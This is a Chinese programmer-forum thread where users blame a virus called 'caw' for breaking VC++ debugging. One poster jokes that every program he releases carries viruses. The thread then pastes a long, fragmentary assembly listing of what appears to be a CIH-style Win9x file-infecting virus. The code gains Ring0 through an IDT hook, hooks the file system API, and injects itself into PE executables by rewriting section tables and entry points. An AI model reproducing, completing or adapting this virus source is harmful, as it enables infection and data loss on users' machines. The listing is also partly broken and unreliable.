对了,这个caw还导致我的vc++不能debug!!!!!!!可恨啊

解决方案 »

  1.   

    111222(decay generation) 我的VC++不能debug,是不是也是这个病毒搞的鬼呀
      

  2.   

    cbc(逍遥子):
        我的VC++一debug就蓝屏死机,出现OE错误,说一个严重的异常发生在某段内存...
    就这个病毒搞鬼,不能debug...痛苦。y_pro(魔魂):
        W2K装不上,重装系统的话....又要安装VC、MSDN、MASM32、VTOOLSD、PSDK、DIRECTX SDK、、、、、N天都弄不完,唉~
      

  3.   

    111222(decay generation) 
    难道你以前没有GHOST吗??
    不会吧??????????????
      

  4.   

    哈哈~~~caw 的作者我认识的!
      

  5.   

    Winsock,你的朋友没说感染了怎么办么?
      

  6.   

    它说这个病毒有BUG,会重复感染,就算杀了也会有文件用不了.
      

  7.   

    Winsock你的朋友该感谢我,是我帮它传播,呵呵,我发布的程序都有病毒,不少用户骂我:(~无辜:~(让这哥们写个噬菌体成不?在感染回来!
      

  8.   

    OriginalAppEXE  SEGMENT                                                          
                                                                                     
    FileHeader:                                                                      
                    db      04dh, 05ah, 090h, 000h, 003h, 000h, 000h, 000h           
                    db      004h, 000h, 000h, 000h, 0ffh, 0ffh, 000h, 000h           
                    db      0b8h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                    db      040h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                    db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                    db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                    db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                    db      000h, 000h, 000h, 000h, 080h, 000h, 000h, 000h           
                    db      00eh, 01fh, 0bah, 00eh, 000h, 0b4h, 009h, 0cdh           
                    db      021h, 0b8h, 001h, 04ch, 0cdh, 021h, 054h, 068h           
                    db      069h, 073h, 020h, 070h, 072h, 06fh, 067h, 072h           
                    db      061h, 06dh, 020h, 063h, 061h, 06eh, 06eh, 06fh           
                    db      074h, 020h, 062h, 065h, 020h, 072h, 075h, 06eh           
                    db      020h, 069h, 06eh, 020h, 044h, 04fh, 053h, 020h           
                    db      06dh, 06fh, 064h, 065h, 02eh, 00dh, 00dh, 00ah           
                    db      024h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                    db      050h, 045h, 000h, 000h, 04ch, 001h, 001h, 000h           
                    db      0f1h, 068h, 020h, 035h, 000h, 000h, 000h, 000h           
                    db      000h, 000h, 000h, 000h, 0e0h, 000h, 00fh, 001h           
                    db      00bh, 001h, 005h, 000h, 000h, 010h, 000h, 000h           
                    db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                    db      010h, 010h, 000h, 000h, 000h, 010h, 000h, 000h           
                    db      000h, 020h, 000h, 000h, 000h, 000h, 040h, 000h           
                    db      000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h           
                    db      004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                    db      004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                    db      000h, 020h, 000h, 000h, 000h, 002h, 000h, 000h           
                    db      000h, 000h, 000h, 000h, 002h, 000h, 000h, 000h           
                    db      000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h           
                    db      000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h           
                    db      000h, 000h, 000h, 000h, 010h, 000h, 000h, 000h           
                    db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                    db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                    db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                    db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                    db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                    db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                    db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                    db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                    db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                    db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                    db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                    db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                    db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                    db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                    db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                    db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                    db      02eh, 074h, 065h, 078h, 074h, 000h, 000h, 000h           
                    db      000h, 010h, 000h, 000h, 000h, 010h, 000h, 000h           
                    db      000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h           
                    db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                    db      000h, 000h, 000h, 000h, 020h, 000h, 000h, 060h           
    ; *********************************************************                      
            HookExceptionNumber     =       03h                                      
                                                                                     
    ENDIF                                                                            
                                                                                     
                                                                                     
    FileNameBufferSize      =       7fh                                              
                                                                                     
    ; *********************************************************                      
    ; *********************************************************                      
                                                                                     
    VirusGame               SEGMENT                                                  
                                                                                     
                            ASSUME  CS:VirusGame, DS:VirusGame, SS:VirusGame         
                            ASSUME  ES:VirusGame, FS:VirusGame, GS:VirusGame         
                                                                                     
    ; *********************************************************                      
    ; *             Ring3 Virus Game Initial Program          *                      
    ; *********************************************************                      
                                                                                     
    MyVirusStart:                                                                    
                            push    ebp                                              
                                                                                     
    ; * IDT(Interrupt Descriptor Table)   *                                          
    ; * to Get Ring0 Privilege...         *                                          
    ; *************************************                                          
                                                                                     
                            push    eax             ;                                
                            sidt    [esp-02h]       ; Get IDT Base Address           
                            pop     ebx             ;                                
                                                                                     
                            add     ebx, HookExceptionNumber*08h+04h ; ZF = 0        
                                                                                     
                            cli                                                      
                                                                                     
                            mov     ebp, [ebx]      ; Get Exception Base             
                            mov     bp, [ebx-04h]   ; Entry Point                    
                                                                                     
                            lea     esi, MyExceptionHook-@1[ecx]                     
                                                                                     
                            push    esi                                              
                                                                                     
                            mov     [ebx-04h], si           ;                        
                            shr     esi, 16                 ; Modify Exception       
                            mov     [ebx+02h], si           ; Entry Point Address    
                                                                                     
                            pop     esi                                              
                                                                                     
    ; *************************************                                          
    ; * Generate Exception to Get Ring0   *                                          
    ; *************************************                                          
                                                                                     
                            int     HookExceptionNumber     ; GenerateException      
    ReturnAddressOfEndException     =       $                                        
                                                                                     
    ; *************************************                                          
    ; * Merge All Virus Code Section      *                                          
    ; *************************************                                          
                                                                                     
                            push    esi                                              
                            mov     esi, eax                                         
                                                                                     
    LoopOfMergeAllVirusCodeSection:                                                  
                                                                                     
                            mov     ecx, [eax-04h]                                   
                                                                                     
                            rep     movsb                                            
                                                                                     
                            sub     eax, 08h                                         
                                                                                     
                            mov     esi, [eax]                                       
                                                                                     
                            or      esi, esi                                         
                            jz      QuitLoopOfMergeAllVirusCodeSection ; ZF = 1      
                                                                                     
                            jmp     LoopOfMergeAllVirusCodeSection                   
                                                                                     
    QuitLoopOfMergeAllVirusCodeSection:                                              
                                                                                     
                            pop     esi                                              
                                                                                     
    ; *************************************                                          
    ; * Generate Exception Again          *                                          
    ; *************************************                                          
                                                                                     
                            int     HookExceptionNumber     ; GenerateException Aga  
                                                                                     
                                                                                     
    ; *************************************                                          
    ; * Let's Restore                     *                                          
    ; * Structured Exception Handing      *                                          
    ; *************************************                                          
                                                                                     
    ReadyRestoreSE:                                                                  
                            sti                                                      
                                                                                     
                            xor     ebx, ebx                                         
                                                                                     
                            jmp     RestoreSE                                        
                                                                                     
    ; *************************************                                          
    ; * When Exception Error Occurs,      *                                          
    ; * Our OS System should be in NT.    *                                          
    ; * So My Cute Virus will not         *                                          
    ; * Continue to Run, it Jmups to      *                                          
    ; * Original Application to Run.      *                                          
    ; *************************************                                          
                                                                                     
    StopToRunVirusCode:                                                              
    @1                      =       StopToRunVirusCode                               
                                                                                     
                            xor     ebx, ebx                                         
                            mov     eax, fs:[ebx]                                    
                            mov     esp, [eax]                                       
                                                                                     
    RestoreSE:                                                                       
                            pop     dword ptr fs:[ebx]                               
                            pop     eax                                              
                                                                                     
    ; *************************************                                          
    ; * Return Original App to Execute    *                                          
    ; *************************************                                          
                                                                                     
                            pop     ebp                                              
                                                                                     
                            push    00401000h       ; Push Original                  
    OriginalAddressOfEntryPoint     =       $-4     ; App Entry Point to Stack       
                                                                                     
                            ret     ; Return to Original App Entry Point             
                                                                                     
    ; *********************************************************                      
    ; *             Ring0 Virus Game Initial Program          *                      
    ; *********************************************************                      
                                                                                     
    MyExceptionHook:                                                                 
    @2                      =       MyExceptionHook                                  
                                                                                     
                            jz      InstallMyFileSystemApiHook                       
                                                                                     
    ; *************************************                                          
    ; * Do My Virus Exist in System !?    *                                          
    ; *************************************                                          
                                                                                     
                            mov     ecx, dr0                                         
                            jecxz   AllocateSystemMemoryPage                         
                                                                                     
                            add     dword ptr [esp], ReadyRestoreSE-ReturnAddressOf  
    dException                                                                       
                                                                                     
    ; *************************************                                          
    ; * Return to Ring3 Initial Program   *                                          
    ; *************************************                                          
                                                                                     
    ExitRing0Init:                                                                   
                            mov     [ebx-04h], bp   ;                                
                            shr     ebp, 16         ; Restore Exception              
                            mov     [ebx+02h], bp   ;                                
                                                                                     
                            iretd                                                    
                                                                                     
    ; *************************************                                          
    ; * Allocate SystemMemory Page to Use *                                          
    ; *************************************                                          
                                                                                     
    AllocateSystemMemoryPage:                                                        
                                                                                     
                            mov     dr0, ebx        ; Set the Mark of My Virus Exis  
    in System                                                                        
                                                                                     
                            push    00000000fh      ;                                
                            push    ecx             ;                                
                            push    0ffffffffh      ;                                
                            push    ecx             ;                                
                            push    ecx             ;                                
                            push    ecx             ;                                
                            push    000000001h      ;                                
                            push    000000002h      ;                                
                            int     20h             ; VMMCALL _PageAllocate          
    _PageAllocate           =       $               ;                                
                            dd      00010053h       ; Use EAX, ECX, EDX, and flags   
                            add     esp, 08h*04h                                     
                                                                                     
                            xchg    edi, eax        ; EDI = SystemMemory Start Addr  
    s                                                                                
                                                                                     
                            lea     eax, MyVirusStart-@2[esi]                        
                                                                                     
                            iretd   ; Return to Ring3 Initial Program                
                                                                                     
    ; *************************************                                          
    ; * Install My File System Api Hook   *                                          
    ; *************************************                                          
                                                                                     
    InstallMyFileSystemApiHook:                                                      
                                                                                     
                            lea     eax, FileSystemApiHook-@6[edi]                   
                                                                                     
                            push    eax  ;                                           
                            int     20h  ; VXDCALL IFSMgr_InstallFileSystemApiHook   
    IFSMgr_InstallFileSystemApiHook =       $       ;                                
                            dd      00400067h       ; Use EAX, ECX, EDX, and flags   
                                                                                     
                            mov     dr0, eax        ; Save OldFileSystemApiHook Add  
    ss                                                                               
                                                                                     
                            pop     eax     ; EAX = FileSystemApiHook Address        
                                                                                     
                            ; Save Old IFSMgr_InstallFileSystemApiHook Entry Point   
                            mov     ecx, IFSMgr_InstallFileSystemApiHook-@2[esi]     
                            mov     edx, [ecx]                                       
                            mov     OldInstallFileSystemApiHook-@3[eax], edx         
                                                                                     
                            ; Modify IFSMgr_InstallFileSystemApiHook Entry Point     
                            lea     eax, InstallFileSystemApiHook-@3[eax]            
                            mov     [ecx], eax                                       
                                                                                     
                            cli                                                      
                                                                                     
                            jmp     ExitRing0Init                                    
                                                                                     
    ; *********************************************************                      
    ; *             Code Size of Merge Virus Code Section     *                      
    ; *********************************************************                      
                                                                                     
    CodeSizeOfMergeVirusCodeSection         =       offset $                         
                                                                                     
    ; *********************************************************                      
    ; *             IFSMgr_InstallFileSystemApiHook           *                      
    ; *********************************************************                      
                                                                                     
    InstallFileSystemApiHook:                                                        
                            push    ebx                                              
                                                                                     
                            call    @4      ;                                        
    @4:                                     ;                                        
                            pop     ebx     ; mov ebx, offset FileSystemApiHook      
                            add     ebx, FileSystemApiHook-@4       ;                
                                                                                     
                            push    ebx                                              
                            int     20h  ; VXDCALL IFSMgr_RemoveFileSystemApiHook    
    IFSMgr_RemoveFileSystemApiHook  =       $                                        
                            dd      00400068h       ; Use EAX, ECX, EDX, and flags   
                            pop     eax                                              
                                                                                     
                            ; Call Original IFSMgr_InstallFileSystemApiHook          
                            ; to Link Client FileSystemApiHook                       
                            push    dword ptr [esp+8]                                
                            call    OldInstallFileSystemApiHook-@3[ebx]              
                            pop     ecx                                              
                                                                                     
                            push    eax                                              
                                                                                     
                            ; Call Original IFSMgr_InstallFileSystemApiHook          
                            ; to Link My FileSystemApiHook                           
                            push    ebx                                              
                            call    OldInstallFileSystemApiHook-@3[ebx]              
                            pop     ecx                                              
                                                                                     
                            mov     dr0, eax        ; Adjust OldFileSystemApiHook A  
    ress                                                                             
                                                                                     
                            pop     eax                                              
                                                                                     
                            pop     ebx                                              
                                                                                     
                            ret                                                      
                                                                                     
    ; *********************************************************                      
    ; *                     Static Data                       *                      
    ; *********************************************************                      
                                                                                     
    OldInstallFileSystemApiHook     dd      ?                                        
                                                                                     
    ; *********************************************************                      
    ; *             IFSMgr_FileSystemHook                     *                      
    ; *********************************************************                      
                                                                                     
    ; *************************************                                          
    ; * IFSMgr_FileSystemHook Entry Point *                                          
    ; *************************************                                          
                                                                                     
    FileSystemApiHook:                                                               
    @3                      =       FileSystemApiHook                                
                                                                                     
                            pushad                                                   
                                                                                     
                            call    @5      ;                                        
                            je      CallUniToBCSPath                                 
                                                                                     
                            add     al, 40h                                          
                            mov     ah, ':'                                          
                                                                                     
                            mov     [esi], eax                                       
                                                                                     
                            inc     esi                                              
                            inc     esi                                              
                                                                                     
    ; *************************************                                          
    ; * UniToBCSPath                      *                                          
    ; *************************************                                          
    ; * This Service Converts             *                                          
    ; * a Canonicalized Unicode Pathname  *                                          
    ; * to a Normal Pathname in the       *                                          
    ; * Specified BCS Character Set.      *                                          
    ; *************************************                                          
                                                                                     
    CallUniToBCSPath:                                                                
                            push    00000000h                                        
                            push    FileNameBufferSize                               
                            mov     ebx, [ebx+10h]                                   
                            mov     eax, [ebx+0ch]                                   
                            add     eax, 04h                                         
                            push    eax                                              
                            push    esi                                              
                            int     20h     ; VXDCall UniToBCSPath                   
    UniToBCSPath            =       $                                                
                            dd      00400041h                                        
                            add     esp, 04h*04h                                     
                                                                                     
    ; *************************************                                          
    ; * Is FileName '.EXE' !?             *                                          
    ; *************************************                                          
                                                                                     
                            ; cmp [esi+eax-04h], '.EXE'                              
                            cmp     [esi+eax-04h], 'EXE.'                            
                            pop     esi                                              
                            jne     DisableOnBusy                                    
                                                                                     
    IF      DEBUG                                                                    
                                                                                     
    ; *************************************                                          
    ; * Only for Debug                    *                                          
    ; *************************************                                          
                                                                                     
                            ; cmp [esi+eax-06h], 'FUCK'                              
                            cmp     [esi+eax-06h], 'KCUF'                            
                            jne     DisableOnBusy                                    
                                                                                     
    ENDIF                                                                            
                                                                                     
    ; *************************************                                          
    ; * Is Open Existing File !?          *                                          
    ; *************************************                                          
                                                                                     
                            ; if ( NotOpenExistingFile )                             
                            ; goto DisableOnBusy                                     
                            cmp     word ptr [ebx+18h], 01h                          
                            jne     DisableOnBusy                                    
                                                                                     
    ; *************************************                                          
    ; * Get Attributes of the File        *                                          
    ; *************************************                                          
                                                                                     
                            mov     ax, 4300h                                        
                            int     20h     ; VXDCall IFSMgr_Ring0_FileIO            
    IFSMgr_Ring0_FileIO     =       $                                                
                            dd      00400032h                                        
                                                                                     
                            jc      DisableOnBusy                                    
                                                                                     
                            push    ecx                                              
                                                                                     
    ; *************************************                                          
    ; * Get IFSMgr_Ring0_FileIO Address   *                                          
    ; *************************************                                          
                                                                                     
                            mov     edi, dword ptr (IFSMgr_Ring0_FileIO-@7)[esi]     
                            mov     edi, [edi]                                       
                                                                                     
    ; *************************************                                          
    ; * Is Read-Only File !?              *                                          
    ; *************************************                                          
                                                                                     
                            test    cl, 01h                                          
                            jz      OpenFile                                         
                                                                                     
    ; *************************************                                          
    ; * Modify Read-Only File to Write    *                                          
    ; *************************************                                          
                                                                                     
                            mov     ax, 4301h                                        
                            xor     ecx, ecx                                         
                            call    edi     ; VXDCall IFSMgr_Ring0_FileIO            
                                                                                     
    ; *************************************                                          
    ; * Open File                         *                                          
    ; *************************************                                          
                                                                                     
    OpenFile:                                                                        
                            xor     eax, eax                                         
                            mov     ah, 0d5h                                         
                            xor     ecx, ecx                                         
                            xor     edx, edx                                         
                            inc     edx                                              
                            mov     ebx, edx                                         
                            inc     ebx                                              
                            call    edi     ; VXDCall IFSMgr_Ring0_FileIO            
                                                                                     
                            xchg    ebx, eax        ; mov ebx, FileHandle            
                                                                                     
    ; *************************************                                          
    ; * Need to Restore                   *                                          
    ; * Attributes of the File !?         *                                          
    ; *************************************                                          
                                                                                     
                            pop     ecx                                              
                                                                                     
                            pushf                                                    
                                                                                     
                            test    cl, 01h                                          
                            jz      IsOpenFileOK                                     
                                                                                     
    ; *************************************                                          
    ; * Restore Attributes of the File    *                                          
    ; *************************************                                          
                                                                                     
                            mov     ax, 4301h                                        
                            call    edi     ; VXDCall IFSMgr_Ring0_FileIO            
                                                                                     
    ; *************************************                                          
    ; * Is Open File OK !?                *                                          
    ; *************************************                                          
                                                                                     
    IsOpenFileOK:                                                                    
                            popf                                                     
                                                                                     
                            jc      DisableOnBusy                                    
                                                                                     
    ; *************************************                                          
    ; * Open File Already Succeed.   ^__^ *                                          
    ; *************************************                                          
                                                                                     
                            push    esi     ; Push FileNameBuffer Address to Stack   
                                                                                     
                            pushf           ; Now CF = 0, Push Flag to Stack         
                                                                                     
                            add     esi, DataBuffer-@7 ; mov esi, offset DataBuffer  
                                                                                     
    ; ***************************                                                    
    ; * Get OffsetToNewHeader   *                                                    
    ; ***************************                                                    
                                                                                     
                            xor     eax, eax                                         
                            mov     ah, 0d6h                                         
                                                                                     
                            ; For Doing Minimal VirusCode's Length,                  
                            ; I Save EAX to EBP.                                     
                            mov     ebp, eax                                         
                                                                                     
                            xor     ecx, ecx                                         
                            mov     cl, 04h                                          
                            xor     edx, edx                                         
                            mov     dl, 3ch                                          
                            call    edi     ; VXDCall IFSMgr_Ring0_FileIO            
                                                                                     
                            mov     edx, [esi]                                       
                                                                                     
    ; ***************************                                                    
    ; * Get 'PE\0' Signature    *                                                    
    ; * of ImageFileHeader, and *                                                    
    ; * Infected Mark.          *                                                    
    ; ***************************                                                    
                                                                                     
                            dec     edx                                              
                                                                                     
                            mov     eax, ebp                                         
                            call    edi     ; VXDCall IFSMgr_Ring0_FileIO            
                                                                                     
    ; ***************************                                                    
    ; * Is PE !?                *                                                    
    ; ***************************                                                    
    ; * Is the File             *                                                    
    ; * Already Infected !?     *                                                    
    ; ***************************                                                    
                                                                                     
                            ; cmp [esi], '\0PE\0'                                    
                            cmp     dword ptr [esi], 00455000h                       
                            jne     CloseFile                                        
                                                                                     
    ; *************************************                                          
    ; * The File is                   ^o^ *                                          
    ; * PE(Portable Executable) indeed.   *                                          
    ; *************************************                                          
    ; * The File isn't also Infected.     *                                          
    ; *************************************                                          
                                                                                     
    ; *************************************                                          
    ; * Start to Infect the File          *                                          
    ; *************************************                                          
    ; * Registers Use Status Now :        *                                          
    ; *                                   *                                          
    ; * EAX = 04h                         *                                          
    ; * EBX = File Handle                 *                                          
    ; * ECX = 04h                         *                                          
    ; * EDX = 'PE\0\0' Signature of       *                                          
    ; *       ImageFileHeader Pointer's   *                                          
    ; *       Former Byte.                *                                          
    ; * ESI = DataBuffer Address ==> @8   *                                          
    ; * EDI = IFSMgr_Ring0_FileIO Address *                                          
    ; * EBP = D600h ==> Read Data in File *                                          
    ; *************************************                                          
    ; * Stack Dump :                      *                                          
    ; *                                   *                                          
    ; * ESP => -------------------------  *                                          
    ; *        |       EFLAG(CF=0)     |  *                                          
    ; *        -------------------------  *                                          
    ; *        | FileNameBufferPointer |  *                                          
    ; *        -------------------------  *                                          
    ; *        |          EDI          |  *                                          
    ; *        -------------------------  *                                          
    ; *        |          ESI          |  *                                          
    ; *        -------------------------  *                                          
    ; *        |          EBP          |  *                                          
    ; *        -------------------------  *                                          
    ; *        |          ESP          |  *                                          
    ; *        -------------------------  *                                          
    ; *        |          EBX          |  *                                          
    ; *        -------------------------  *                                          
    ; *        |          EDX          |  *                                          
    ; *        -------------------------  *                                          
    ; *        |          ECX          |  *                                          
    ; *        -------------------------  *                                          
    ; *        |          EAX          |  *                                          
    ; *        -------------------------  *                                          
    ; *        |     Return Address    |  *                                          
    ; *        -------------------------  *                                          
    ; *************************************                                          
                                                                                     
                            push    ebx     ; Save File Handle                       
                                                                                     
                            push    00h     ; Set VirusCodeSectionTableEndMark       
                                                                                     
    ; ***************************                                                    
    ; * Let's Set the           *                                                    
    ; * Virus' Infected Mark    *                                                    
    ; ***************************                                                    
                                                                                     
                            push    01h     ; Size                                   
                            push    edx     ; Pointer of File                        
                            push    edi     ; Address of Buffer                      
                                                                                     
    ; ***************************                                                    
    ; * Save ESP Register       *                                                    
    ; ***************************                                                    
                                                                                     
                            mov     dr1, esp                                         
                                                                                     
    ; ***************************                                                    
    ; * Let's Set the           *                                                    
    ; * NewAddressOfEntryPoint  *                                                    
    ; * ( Only First Set Size ) *                                                    
    ; ***************************                                                    
                                                                                     
                            push    eax     ; Size                                   
                                                                                     
    ; ***************************                                                    
    ; * Let's Read              *                                                    
    ; * Image Header in File    *                                                    
    ; ***************************                                                    
                                                                                     
                            mov     eax, ebp                                         
                            mov     cl, SizeOfImageHeaderToRead                      
                            add     edx, 07h ; Move EDX to NumberOfSections          
                            call    edi      ; VXDCall IFSMgr_Ring0_FileIO           
                                                                                     
    ; ***************************                                                    
    ; * Let's Set the           *                                                    
    ; * NewAddressOfEntryPoint  *                                                    
    ; * ( Set Pointer of File,  *                                                    
    ; *   Address of Buffer   ) *                                                    
    ; ***************************                                                    
                                                                                     
                            lea     eax, (AddressOfEntryPoint-@8)[edx]               
                            push    eax     ; Pointer of File                        
                                                                                     
                            lea     eax, (NewAddressOfEntryPoint-@8)[esi]            
                            push    eax     ; Address of Buffer                      
                                                                                     
    ; ***************************                                                    
    ; * Move EDX to the Start   *                                                    
    ; * of SectionTable in File *                                                    
    ; ***************************                                                    
                                                                                     
                            movzx   eax, word ptr (SizeOfOptionalHeader-@8)[esi]     
                            lea     edx, [eax+edx+12h]                               
                                                                                     
    ; ***************************                                                    
    ; * Let's Get               *                                                    
    ; * Total Size of Sections  *                                                    
    ; ***************************                                                    
                                                                                     
                            mov     al, SizeOfScetionTable                           
                                                                                     
                            ; I Assume NumberOfSections <= 0ffh                      
                            mov     cl, (NumberOfSections-@8)[esi]                   
    ; * Address of Entry Point  *                                                    
    ; ***************************                                                    
                                                                                     
                            ; Save My Virus First Section Code                       
                            ; Size of Following Section Table...                     
                            ; ( Not Include the Size of Virus Code Section Table )   
                            push    ecx                                              
                                                                                     
                            xchg    ecx, eax        ; ECX = Size of Section Table    
                                                                                     
                            mov     eax, (AddressOfEntryPoint-@9)[esi]               
                            add     eax, (ImageBase-@9)[esi]                         
                            mov     (OriginalAddressOfEntryPoint-@9)[esi], eax       
                                                                                     
    ; ***************************                                                    
    ; * Read All Section Tables *                                                    
    ; ***************************                                                    
                                                                                     
                            mov     eax, ebp                                         
                            call    edi     ; VXDCall IFSMgr_Ring0_FileIO            
                                                                                     
    ; ***************************                                                    
    ; * Let's Set Total Virus   *                                                    
    ; * Code Section Table      *                                                    
    ; ***************************                                                    
                                                                                     
                            ; EBX = My Virus First Section Code                      
                            ;       Size of Following Section Table                  
                            pop     ebx                                              
                            pop     edi     ; EDI = TotalSizeOfVirusCodeSectionTabl  
                            pop     ecx     ; ECX = NumberOfSections+1               
                                                                                     
                            push    edi             ; Size                           
                                                                                     
                            add     edx, eax                                         
                            push    edx             ; Pointer of File                
                                                                                     
                            add     eax, esi                                         
                            push    eax             ; Address of Buffer              
                                                                                     
    ; ***************************                                                    
    ; * Set the First Virus     *                                                    
    ; * Code Section Size in    *                                                    
    ; * VirusCodeSectionTable   *                                                    
    ; ***************************                                                    
                                                                                     
                            lea     eax, [eax+edi-04h]                               
                            mov     [eax], ebx                                       
                                                                                     
    ; ***************************                                                    
    ; * Let's Set My Virus      *                                                    
    ; * First Section Code      *                                                    
    ; ***************************                                                    
                                                                                     
                            push    ebx     ; Size                                   
                                                                                     
                            add     edx, edi                                         
                            push    edx     ; Pointer of File                        
                                                                                     
                            lea     edi, (MyVirusStart-@9)[esi]                      
                            push    edi     ; Address of Buffer                      
                                                                                     
    ; ***************************                                                    
    ; * Let's Modify the        *                                                    
    ; * AddressOfEntryPoint to  *                                                    
    ; * My Virus Entry Point    *                                                    
    ; ***************************                                                    
                                                                                     
                            mov     (NewAddressOfEntryPoint-@9)[esi], edx            
                                                                                     
    ; ***************************                                                    
    ; * Setup Initial Data      *                                                    
    ; ***************************                                                    
                                                                                     
                            lea     edx, [esi-SizeOfScetionTable]                    
                            mov     ebp, offset VirusSize                            
                                                                                     
                            jmp     StartToWriteCodeToSections                       
                                                                                     
    ; ***************************                                                    
    ; * Write Code to Sections  *                                                    
    ; ***************************                                                    
                                                                                     
    LoopOfWriteCodeToSections:                                                       
                                                                                     
                            add     edx, SizeOfScetionTable                          
                                                                                     
                            mov     ebx, (SizeOfRawData-@9)[edx]                     
                            sub     ebx, (VirtualSize-@9)[edx]                       
                            jbe     EndOfWriteCodeToSections                         
                                                                                     
                            push    ebx     ; Size                                   
                                                                                     
                            sub     eax, 08h                                         
                            mov     [eax], ebx                                       
                                                                                     
                            mov     ebx, (PointerToRawData-@9)[edx]                  
                            add     ebx, (VirtualSize-@9)[edx]                       
                            push    ebx     ; Pointer of File                        
                                                                                     
                            push    edi     ; Address of Buffer                      
                                                                                     
                            mov     ebx, (VirtualSize-@9)[edx]                       
                            add     ebx, (VirtualAddress-@9)[edx]                    
                            add     ebx, (ImageBase-@9)[esi]                         
                            mov     [eax+4], ebx                                     
                                                                                     
                            mov     ebx, [eax]                                       
                            add     (VirtualSize-@9)[edx], ebx                       
                                                                                     
                            ; Section contains initialized data ==> 00000040h        
                            ; Section can be Read.              ==> 40000000h        
                            or      (Characteristics-@9)[edx], 40000040h             
                                                                                     
    StartToWriteCodeToSections:                                                      
                                                                                     
                            sub     ebp, ebx                                         
                            jbe     SetVirusCodeSectionTableEndMark                  
                                                                                     
                            add     edi, ebx        ; Move Address of Buffer         
                                                                                     
    EndOfWriteCodeToSections:                                                        
                                                                                     
                            loop    LoopOfWriteCodeToSections                        
                                                                                     
    ; ***************************                                                    
    ; * Only Set Infected Mark  *                                                    
    ; ***************************                                                    
                                                                                     
    OnlySetInfectedMark:                                                             
                            mov     esp, dr1                                         
                                                                                     
                            jmp     WriteVirusCodeToFile                             
                                                                                     
    ; ***************************                                                    
    ; * Set Virus Code          *                                                    
    ; * Section Table End Mark  *                                                    
    ; ***************************                                                    
                                                                                     
    SetVirusCodeSectionTableEndMark: